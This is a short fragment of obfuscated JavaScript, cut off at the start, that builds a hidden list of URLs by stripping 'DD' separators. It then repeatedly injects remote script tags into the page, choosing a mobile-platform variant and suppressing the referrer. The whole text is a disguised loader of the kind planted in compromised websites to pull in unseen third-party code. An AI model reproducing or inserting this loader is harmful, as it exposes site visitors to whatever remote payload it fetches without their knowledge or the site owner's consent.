cDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();